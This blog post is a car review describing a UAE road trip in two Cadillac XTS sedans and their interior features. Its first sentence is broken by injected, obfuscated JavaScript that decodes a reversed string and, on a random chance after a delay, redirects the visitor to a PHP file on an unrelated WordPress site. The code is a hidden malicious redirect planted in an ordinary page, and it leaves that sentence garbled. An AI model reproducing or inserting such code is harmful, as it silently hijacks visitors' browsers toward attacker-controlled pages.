Not too long ago, after a quick introductory drive in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/2013-cadillac-xts-preparation-is-key/” target=”_blank”>the new Cadillac XTS, we went back to the good folks at General Motors – on bended knee over the phone – for another go. Screw a 15 minute experience in stop-start traffic! We wanted to do something different. We wanted to do a road trip.
Clearly something went haywire, since they gave us not one but two Cadillac XTSs. See what happens when you ask nicely?!
And so the plan was set: two Cadillacs, one day, five emirates. We figured an entire day of shooting with and riding in the new XTS across the UAE would give us a pretty good idea what it’s all about.
The start line is an Eppco petrol station behind Dubai’s Mall of the Emirates (we like to think we add a touch of class). Fuelled up with coffee and an almond croissant each, two 3.6-litre V6s are fired into life as the minute hand ticks across to 9am, and the Goodyear tyres begin the first of what will turn out to be a 200km road trip.
Our first port of call is Dubai’s neighbouring Sharjah, which (as any local boys and girls amongst you will already know) means braving the morning rush hour. Fortunately, the XTS comes well-equipped for such situations.
Firstly, each XTS (crankandpiston artistes John and Moe are in the Black Raven model, while I’m following behind in the White Diamond Tricoat) is the Platinum edition. As the only package sold in the Middle East, it does have a few perks up its leather-lined sleeves.
First, there’s the finely-stitched leather upholstery, intermixed with real wood trim and vented seat cushions (and I’m particularly keen on the seat-mounted speakers too).
To make sure the tunes from our respective iPods blow the cobwebs clear of our weary heads (because so far my Capuccino is not working) each XTS has a Bose surround sound system, the controls for which are available either through the eight-inch LED screen in the centre stack…
…or the steering wheel controls. Just push select, take a couple of minutes to work out where the hell you are in the system, and the XTS world is your automotive oyster.
